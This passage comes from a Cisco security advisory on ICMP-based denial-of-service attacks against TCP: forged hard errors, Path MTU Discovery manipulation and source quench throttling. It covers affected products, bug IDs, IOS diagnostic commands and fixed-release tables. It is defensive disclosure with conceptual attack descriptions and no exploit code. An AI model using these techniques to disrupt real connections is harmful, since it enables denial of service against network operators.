| and 11500 | affected | affected | |
|--------------+----------+----------+----------|
| Cisco GSS | Not | Not | Affected |
| | affected | affected | |
|--------------+----------+----------+----------|
| MDS 9000 | Not | Not | Affected |
| | affected | affected | |
|--------------+----------+----------+----------|
| Cisco VPN | Not | | Not |
| 5000 | affected | Affected | affected |
| Concentrator | | | |
|--------------+----------+----------+----------|
| Some ONS | Not | Affected | Not |
| products | affected | | affected |
+-----------------------------------------------+

Please refer to the Details section for additional information since
within one product family different models may be affected differently.

Details
=======

The Internet Control Message Protocol is an integral part of the
Transmission Control Protocol/Internet Protocol (TCP/IP) protocol
suite that is used to report error conditions and provide diagnostic
information. ICMP error messages can be generated by both end systems
and intermediate systems, i.e., routers. End systems and intermediate
systems react to error messages received via ICMP in different ways
depending on the type of error that is being reported. The types of
errors that can be reported via ICMP fall into two categories: "soft"
errors and "hard" errors.

RFC 1122 ("Requirements for Internet Hosts - Communications Layers"
- - http://www.ietf.org/rfc/rfc1122.txt), defines three "hard" errors
("protocol unreachable", "port unreachable", and "fragmentation
needed and Don't Fragment bit set") and five "soft" errors ("network
unreachable", "host unreachable", "source route failed", "time
exceeded", and "parameter problem".) "Source quench" is another ICMP
error message that can be generated by Internet hosts, and while RFC
1122 does not clearly classify it as "soft" or "hard", it should be
considered as a soft error because of the way this message type should
be handled by hosts that receive it: hosts should cut back for a period
of time the rate at which they are sending data to the host that
generated the ICMP "source quench" message, and then gradually increase
the transmission rate again.

It is important to note that the "fragmentation needed and Don't
Fragment bit set" (type 3, code 4) message is used by an important
mechanism called Path MTU Discovery, documented in RFC 1191 ("Path
MTU discovery" - http://www.ietf.org/rfc/rfc1191.txt). PMTUD allows
some protocols of the TCP/IP protocol suite to dynamically find the
MTU of a path so IP fragmentation is minimized and bandwidth can be
used more efficiently. This mechanism is not mandatory for Internet
hosts, but those that implement it need to treat ICMP "fragmentation
needed and DF bit set" messages as "soft" errors. A good reference to
understand how IP fragmentation works and the role that PMTUD plays
in reducing fragmentation is the Cisco white paper "IP Fragmentation
and PMTUD", available at
http://www.cisco.com/en/US/tech/tk827/tk369/technologies_white_paper09186a00800d6979.shtml.

Making a distinction between the types of errors ("soft" versus "hard")
that can be reported via ICMP is important because it dictates how
Internet hosts will respond to them. In general, connection-oriented
protocols like TCP should abort an existing connection in response to
an ICMP "hard" error message, and Internet hosts should try to correct
the error condition that elicited the receipt of an ICMP "soft" error
message.

An IETF Internet Draft entitled "ICMP Attacks Against TCP"
(draft-gont-tcpm-icmp-attacks-03.txt) that describes how the ICMP
protocol can be used to perform a number of Denial of Service attacks
against the TCP protocol has been made publicly available. These attacks
require knowledge of the IP addresses and ports (in the case of TCP)
that two Internet hosts are using to communicate with each other and
can cause connection resets and reduction of throughput in existing
connections.

Note: these attacks only affect sessions terminating or originating on a
device itself, not transit traffic; i.e., traffic that passes through a
device, but is destined elsewhere is not affected.

Attacks Based on Crafted Hard ICMP Error Messages
+------------------------------------------------

Upon receipt of a "hard" ICMP error message, an Internet host must
abort the connection with the host to which the ICMP error message
applies. This host is not necessarily the system that generated the
ICMP message, but it is uniquely identified through the IP header and
transport protocol data embedded in the ICMP payload. The reason for
this is that "hard" errors represent serious network problems for which
there is not a possibility for recovery. Crafted "hard" ICMP error
messages could cause an Internet host to incorrectly abort an existing
connection when in reality there are no network problems. This type
of attack is classified as a "blind connection-reset" attack in the
Internet Draft draft-gont-tcpm-icmp-attacks-03.txt.

PMTUD Attacks
+------------

Crafted "fragmentation needed and DF bit set" ICMP messages can be used
to set a connection's Path MTU to a very low, impractical value, if an
Internet host is performing PMTUD. This value can cause higher layer
protocols to start timing out because of a very low throughput, even
though the connection is still in the established state. This type of
attack is classified as a "throughput-reduction" attack in the Internet
Draft draft-gont-tcpm-icmp-attacks-03.txt.

Per the PMTUD algorithm described in RFC 1191, implementations must
"age" cached MTU values, which means that the MTU will go back to
its optimum size, a process that can take up to 10 minutes (RFC 1191
suggests 10 minutes, but this is not a requirement and therefore it is
implementation-dependent.) Please note, however, that if an attacker
continues to send crafted ICMP "fragmentation needed and DF bit set"
messages to a vulnerable host, the cached MTU will never age, causing a
continuous denial-of-service condition.

As mentioned before, the ICMP "fragmentation needed and DF bit set"
message is considered a "hard" error per RFC 1122 if the Internet host
receiving it is not performing PMTUD. This means that a PMTUD attack
also has the potential to cause a connection reset.

For protocols that make use of a "transport layer" MTU to minimize the
risk of fragmentation, like TCP and its Maximum Segment Size (MSS)
variable, a good way to determine if a connection is suffering from a
successful attack is to monitor the value of this "transport layer"
MTU - an unreasonably low value may indicate that an attack has been
performed. An example of how to do this in Cisco IOS will be provided
later in this document.

Note: several common protocols make use of TCP, and therefore may be
affected by PMTUD attacks. Some examples include BGP, the Hyper Text
Transfer Protocol (HTTP - used in the World Wide Web), the Simple Mail
Transfer Protocol (SMTP - used for transferring electronic mail), and
Secure Shell (SSH). Some protocols in the IBM suite like Data-Link
Switching (DLSw), Serial Tunneling (STUN), and Block Serial Tunneling
(BSTUN) can be configured to use TCP as their transport protocol. The
Domain Name System (DNS) normally uses User Datagram Protocol (UDP) but
in some situations (large zone transfers, for example) it also uses TCP.

Attacks Based on Crafted Source Quench ICMP Messages
+---------------------------------------------------

As mentioned before, Internet hosts are supposed to cut back the rate
at which they send data to another host that generated an ICMP "source
quench" message. While the actual response to an ICMP "source quench"
message varies by TCP/IP implementation and by the transport layer
protocol in use, in general, hosts receiving an ICMP "source quench"
message should trigger a congestion avoidance algorithm.

In the case of a host using TCP to communicate with another,
if an ICMP "source quench" message is received the recommended
procedure per RFC 1122 is to trigger a "slow start", as if a
retransmission timeout had occurred. RFC 2001 ("TCP Slow Start,
Congestion Avoidance, Fast Retransmit, and Fast Recovery Algorithms"
- - http://www.ietf.org/rfc/rfc2001.txt) describes the "slow start" and
"congestion avoidance" algorithms used in modern implementations of TCP
and states that in practice, the "slow start" and "congestion avoidance"
algorithms are implemented together.

The lower rate at which the sending host transmits data allows the host
that generated the ICMP "source quench" message to process and empty its
receive buffers.

Crafted "source quench" ICMP messages can be used to decrease the
rate at which a host is sending data. While over time, as long as no
additional Source Quench messages are received, the window size will
increase to a reasonable value, a crafted "source quench" message
can potentially reduce communication efficiency significantly. If an
attacker succeeds in periodic transmission of crafted ICMP "source
quench" messages to a vulnerable device, a prolonged degradation of
service for that connection may occur.

This type of attack is classified as a "throughput-reduction" attack in
the Internet Draft draft-gont-tcpm-icmp-attacks-03.txt.

How Cisco Products Are Affected
+------------------------------

Different Cisco products are affected in different ways to the ICMP
attacks described in this document. In some cases, some products are
affected when specific configurations or network protocols are in use.
What follows is a description of how vulnerable products are affected
and under what configurations. Information about specific Cisco bug IDs
for each product is presented.

Cisco IOS
+--------

Cisco IOS is not vulnerable to attacks that make use of ICMP "hard"
error messages because IOS checks whether a connection is in the
"established" state, and takes action only for connections in the
"non-established" state.

In addition, IOS does not process ICMP "source quench" messages and
therefore, is not vulnerable to attacks that are based on crafting this
type of message.

IOS is vulnerable to PMTUD attacks as described in the Vulnerable
Products section. This means that an attacker could change the Path
MTU by crafting an ICMP "fragmentation needed and DF bit set" message
("packet too big" message in the case of IPv6.) The following list
provides the Cisco bug IDs for the PMTUD vulnerabilities in different
protocols in IOS:

  * All protocols that make use of PMTUD: CSCef60659 -- More stringent
    checks required for ICMP unreachables.

  * Transmission Control Protocol over Internet Protocol Version 4:
    CSCed78149 -- TCP connections over IP version 4 doing PMTUD are
    vulnerable to crafted ICMP packets.

    A good way to verify whether a connection is suffering from the
    effects of a PMTUD attack is by looking at the MSS value of the
    connection. For BGP sessions the command "show ip bgp neighbors |
    include data segment" will display the MSS (denoted as "max data
    segment"), as in the following example:

        Router#show ip bgp neighbors | include data segment
        Datagrams (max data segment is 1460 bytes):
        Router#

    The official minimum MTU is 68 bytes, although in today's Internet
    a MSS less than 576 bytes should be considered suspicious. Section
    7 of RFC 1191 contains a list of common MTU values used on the
    Internet.

    For other TCP connections, the Transmission Control Block (TCB) of
    a specific connection must be determined using the command show tcp
    brief, and then this TCB must be used in the command show tcp tcb
    <TCB identified with show tcp brief> | include data segment, which
    will display the MSS (denoted again as max data segment):

        Router#show tcp brief
        TCB Local Address Foreign Address (state)
        00E97148 192.168.100.1.23 192.168.100.1.11002 TIMEWAIT
        00E97A78 192.168.100.1.23 192.168.100.1.11003 ESTAB
        00E975E0 192.168.100.1.11003 192.168.100.1.23 ESTAB
        Router#show tcp tcb 0x00E975E0 | include data segment
        Datagrams (max data segment is 1474 bytes):
        Router#

    Please note that this technique can also be used for TCP over IPv6.

  * Transmission Control Protocol over Internet Protocol Version 6:
    CSCef61610 -- Incorrect handling of ICMPv6 messages can cause TCP
    performance problems.

  * IPSec: CSCsa59600 -- IOS IPSec connections may be vulnerable to
    crafted ICMP packets which may cause IPSec to use very small PMTU
    values for a given flow. After the PMTU has been decreased by a
    crafted ICMP "fragmentation needed and DF bit set" message, if no
    additional ICMP "fragmentation needed and DF bit set" messages are
    received, the learned MTU will be active for 10 minutes, after which
    the PMTU is restored to the first-hop data-link MTU, per RFC 1191.

    A way to verify whether an IPSec tunnel is suffering from the
    effects of a PMTUD attack is by running the command "show crypto
    ipsec sa | include mtu", as in the following example:

        Router#show crypto ipsec sa | include mtu
          path mtu 1500, media mtu 1500
        Router#

  * Generic Routing Encapsulation and IPinIP: CSCef44699 -- GRE and
    IPinIP tunnels may be vulnerable to crafted ICMP packets.

    A way to verify whether a GRE or IPinIP tunnel is suffering from the
    effects of a PMTUD attack is by running the command "show interface
    tunnel <number> | include Path MTU", as in the following example:

        Router#show interface tunnel 0 | include Path MTU
          Path MTU Discovery, ager 10 mins, MTU 1476, expires never

  * Layer 2 Tunneling Protocol Version 2 and Layer 2 Tunneling Protocol
    Version 3: for L2TP version 2 the Cisco bug ID is CSCsa52807 (
    registered customers only) -- L2TPv2 doing PMTUD vulnerable to
    spoofed ICMP packets. For L2TP version 3 the bug ID is CSCef43691 (
    registered customers only) -- Connections using Layer 2 Tunneling
    Protocol v3 (L2TPv3) and doing PMTU discovery may be vulnerable to
    crafted ICMP packets.

    A way to verify whether a L2TPv2 session is suffering from the
    effects of a PMTUD attack is by running the command show vpdn
    session all | include Session MTU, as in the following example:

        Router#show vpdn session all | include Session MTU
          Session MTU is 40 bytes

    For L2TPv3, a PMTUD attack can be identified by running the command
    show l2tun session all | include PMTU, as in the following example:

        Router#show l2tun session all | include Session MTU
          Session PMTU enabled, path MTU is 32 bytes
          Session PMTU enabled, path MTU is 32 bytes
          Session PMTU enabled, path MTU is 32 bytes

IOS XR
+-----

IOS XR is vulnerable to attacks based on ICMP "hard" error messages,
as well as to PMTUD attacks. The Cisco Bug ID that documents this
vulnerability is CSCef45332 -- CRS-1 connections may be vulnerable to
crafted ICMP packets. IOS XR does not process ICMP "source quench"
messages, so it is not vulnerable to attacks based on this type of
message.

Cisco IP Phones
+--------------

Different models of Cisco IP Phones are vulnerable to attacks based on
ICMP "hard" error messages, ICMP "source quench" messages, and/or PMTUD
attacks.

  * CSCef46728 -- 7940/7960 IP Phone with SCCP firmware may be
    susceptible to crafted ICMP "hard" error messages.

  * CSCef54947 -- 7970 IP Phone with SCCP firmware may be susceptible to
    crafted ICMP "hard" error messages.

  * CSCef54204 -- 7940/7960 IP Phone with SIP firmware may be vulnerable
    to crafted ICMP "source quench" error messages. Please note that
    a 7940/7960 IP Phone with SIP firmware does not support TCP for
    signaling, so only telnet sessions into the phone (for management)
    and short-lived HTTP sessions from the phone (to servers providing
    directory services, for example) are affected by this vulnerability.

  * CSCef54206 -- 7940/7960 IP Phone with SIP firmware may be vulnerable
    to crafted ICMP "hard" error messages. Please note that a 7940/7960 IP
    Phone with SIP firmware does not support TCP for signaling, so only
    telnet sessions into the phone (for management) and short-lived HTTP
    sessions from the phone (to servers providing directory services, for
    example) are affected by this vulnerability.

Cisco PIX Security Appliance
+---------------------------

A PIX Security Appliance with IPSec configured will actively participate
in PMTUD per RFC 1191 and RFC 2401 ("Security Architecture for the
Internet Protocol" - http://www.ietf.org/rfc/rfc2401.txt). This means
that the PIX Security Appliance can dynamically discover and adjust its
path MTU for a given IPSec flow when it receives an ICMP "fragmentation
needed and DF bit set" message.

Under this scenario, the PIX Security Appliance is also vulnerable to
crafted ICMP type 3 code 4 messages that try to set the path MTU to a
very low value. This vulnerability is documented in the Cisco Bug ID
CSCef57566 -- A PIX Security Appliance with IPSec configured can be
susceptible to crafted ICMP packets suggesting a very small PMTU for a
path or a Security Association. This symptom is observed when IPSec is
configured for PMTUD, which is turned on automatically when IPSec is
configured on the PIX Security Appliance.

Catalyst 6608 and 6624
+---------------------

The Cisco Catalyst 6608 Voice Gateway and Cisco 6000 FXS Analog
Interface Module (WS-X6624-FXS) are vulnerable to attacks based on
ICMP "hard" error and "source quench" messages. The Cisco Bug ID that
documents this vulnerability is CSCsa60692 -- ICMP Hard error handling.

Cisco 11000 and 11500 Content Services Switches
+----------------------------------------------

The Cisco 11000 and 11500 Content Services Switches are vulnerable to
attacks based on ICMP "source quench" messages on the management port;
they are not vulnerable on the network ports. The CSS does not perform
PMTUD and therefore is not vulnerable to PMTUD attacks. The Cisco Bug
ID that documents the vulnerability to ICMP "source quench" messages is
CSCeh45454 -- ICMP error packet attacks against TCP.

Cisco Global Site Selector
+-------------------------

The Cisco Global Site Selector version 1.1 and earlier is vulnerable to
attacks based on ICMP "source quench" messages. It is not vulnerable to
attacks based on ICMP "hard error" messages or to PMTUD attacks. The
Cisco Bug ID that documents the vulnerability to ICMP "source quench"
messages is CSCeh20083 -- ICMP error packet attacks against TCP.

Cisco MDS 9000 Series Multilayer Switches
+----------------------------------------

The Cisco MDS 9000 Series Multilayer Switch is vulnerable to PMTUD
attacks. The Cisco Bug ID that documents this vulnerability is
CSCeh04183 -- ICMP attacks against TCP.

Cisco ONS Products
+-----------------

The affected Cisco ONS products are vulnerable to PMTUD attacks only.

VPN 5000 Concentrator
+--------------------

The VPN 5000 concentrator is vulnerable to PMTUD. ICMP "source quench"
messages are only processed to keep message counts, but not for avoiding
congestion. Therefore, this device is not vulnerable to attacks based
on this type of messages. The Cisco Bug ID that documents the PMTUD
vulnerability is CSCeh59823 -- ICMP 3/4 messages may affect IPSec
sessions.

Impact
======

Successful exploitation of attacks using crafted ICMP "hard" error
messages may result in connections being dropped.

Successful exploitation of attacks based on "fragmentation needed and
DF bit set" (or PMTUD attacks) and ICMP "source quench" error messages
may result in connections being throttled to very low throughput. While
throughput is low, the output buffer of a sending host could overflow
or packets could be dropped or be unnecessarily fragmented, which may
affect applications and communication efficiency. Accordingly, crafted
ICMP packets could interfere with network protocols, such as the Border
Gateway Protocol, Label Distribution Protocol (LDP) and DLSw.

In addition to causing low throughput, a PMTUD attack can also cause
high Central Processing Unit (CPU) utilization and extra memory
consumption on the receiving host because the CPU will spend time and
memory buffers to reassemble the incoming fragmented packets.

In all cases, these attacks may result in Denial-of-Service conditions.
No remote code execution or unauthorized access results from these types
of attacks.

Software Versions and Fixes
===========================

When considering software upgrades, please also consult
http://www.cisco.com/en/US/products/products_security_advisories_listing.html
and any subsequent advisories to determine exposure and a complete
upgrade solution.

In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center ("TAC") for assistance.

IOS-based Products
+-----------------

Each row of the Cisco IOS software table (below) describes a release
train and the platforms or products for which it is intended. If a given
release train is vulnerable, then the earliest possible releases that
contain the fix (the "First Fixed Release") and the anticipated date
of availability for each are listed in the "Rebuild" and "Maintenance"
columns. A device running a release in the given train that is earlier
than the release in a specific column (less than the First Fixed
Release) is known to be vulnerable. The release should be upgraded at
least to the indicated release or a later version (greater than or equal
to the First Fixed Release label).

For further information on the terms "Rebuild" and "Maintenance" please
consult the following URL:

http://www.cisco.com/warp/public/620/1.html

Due to differences in software availability and in the feature scenarios
in which Cisco IOS is vulnerable, the table of first fixed releases has
been broken down based on the different vulnerabilities that affect each
technology. There are four different groups:

 1. TCPv4: represents CSCed78149 and CSCef60659. The first Cisco Bug ID
    tracks TCP's vulnerability to PMTUD attacks, and the second Cisco Bug
    ID tracks the vulnerability that affects all protocols that make use of
    PMTUD, with the exception of TCP over IPv6, which is not affected by
    this vulnerability.

 2. Tunnels: represents CSCef60659, CSCef43691, CSCsa61864, CSCsa59600,
    and CSCef44699. These are the Cisco Bug IDs that track vulnerabilities
    in most of the affected tunneling protocols (GRE, L2TPv3, and IPSec.)

 3. TCPv6: represents CSCef61610, which is the Cisco Bug ID that tracks
    TCP's vulnerability to PMTUD attacks when running over IPv6.

 4. L2TPv2: represents CSCsa52807, which is the Cisco Bug ID that tracks
    L2TPv2's vulnerability to PMTUD attacks.

+-----------------------------------------------+
| Major Release | Availability of Repaired |
| | Releases |
|-------------------+---------------------------|
| Affected | | |
| 12.0-Based | Rebuild | Maintenance |
| Release | | |
|-------------------+-------------+-------------|
| | TCPv4 | | |
| | and | 12.0(28c) | |
| | Tunnels | | |
|12.0 |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(12)DA8 or later |
| | Tunnels | |
|12.0DA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.0DB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(15)BC2f or later |
| | Tunnels | |
|12.0DC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | | 12.0(27)S5, | |
| | | available | |
| | | 23-May-05 | |
| |TCPv4 |-------------|12.0(31)S, |
| | and | 12.0(28)S3, | available |
| | Tunnels | available | 28-Apr-05 |
| | | 25-Apr-05 | |
| | |-------------| |
| | | 12.0(30)S1 | |
| |---------+-------------+-------------|
| 12.0S | | 12.0(27)S5, | |
| | | available | |
| | | 23-May-05 | |
| | |-------------|12.0(31)S, |
| | TCPv6 | 12.0(28)S3, | available |
| | | available | 28-Apr-05 |
| | | 25-Apr-05 | |
| | |-------------| |
| | | 12.0(30)S1 | |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(15)BC2f or later |
| | Tunnels | |
|12.0SC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.0S or later |
| | Tunnels | |
|12.0SL |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.0S or later |
| | Tunnels | |
|12.0SP |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.0S or later |
| | Tunnels | |
|12.0ST |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.0SX |---------+---------------------------|
| | TCPv6 | Vulnerable; contact TAC |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.0S or later |
| | Tunnels | |
|12.0SZ |---------+---------------------------|
| | TCPv6 | Vulnerable; migrate to |
| | | 12.0S or later |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0T |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | | 12.0(25)W5 | |
| | TCPv4 | (27c) | |
| |and |-------------| |
| | Tunnels | 12.0(28)W5 | |
| 12.0W5 | | (31a) | |
| |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | 12.0(5) | |
| | and | WC12, | |
| | Tunnels | available | |
| 12.0WC | | 25-July-05 | |
| |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XD |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1E latest |
| | Tunnels | |
|12.0XE |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XF |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XG |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XH |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XI |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XJ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.0XK |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.0XL |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XM |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XN |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XQ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.0XR |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1E latest |
| | Tunnels | |
|12.0XS |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(27) or later |
| | Tunnels | |
|12.0XV |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|-------------------+---------------------------|
| Affected | | |
| 12.1-Based | Rebuild | Maintenance |
| Release | | |
|-------------------+-------------+-------------|
| | TCPv4 | | |
| | and | | 12.1(27) |
| | Tunnels | | |
|12.1 |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(28) or later |
| | Tunnels | |
|12.1AA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(25)EY or later |
| | Tunnels | |
|12.1AX |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1(22)EA4 or later |
| | Tunnels | |
|12.1AZ |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(12)DA8 or later |
| | Tunnels | |
|12.1DA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.3(14)T or later |
| | Tunnels | |
|12.1DB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(15)BC2f or later |
| | Tunnels | |
|12.1DC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | | 12.1(22)E6, | |
| | | available | |
| | | TBD | |
| |TCPv4 |-------------| |
| | and | 12.1(23)E4, | |
| | Tunnels | available | |
| 12.1E | | 8-Apr-05 | |
| | |-------------| |
| | | 12.1(26)E1 | |
| |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | | |
| | and | 12.1(22)EA4 | |
| | Tunnels | | |
|12.1EA |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.1EB |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(15)BC2f or later |
| | Tunnels | |
|12.1EC |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | 12.1(19) | |
| | and | EO4, | |
| | Tunnels | available | |
| 12.1EO | | 26-May-05 | |
| |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(20)EU or later |
| | Tunnels | |
|12.1EU |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | |
| | and | Vulnerable; contact TAC |
| | Tunnels | |
|12.1EV |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.2(18)EW3 or later |
| | Tunnels | |
|12.1EW |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
| | TCPv4 | Vulnerable; migrate to |
| | and | 12.1E latest |
| | Tunnels | |
|12.1EX |---------+---------------------------|
| | TCPv6 | Not vulnerable |
| |---------+---------------------------|
| | L2TPv2 | Not vulnerable |
|---------+---------+---------------------------|
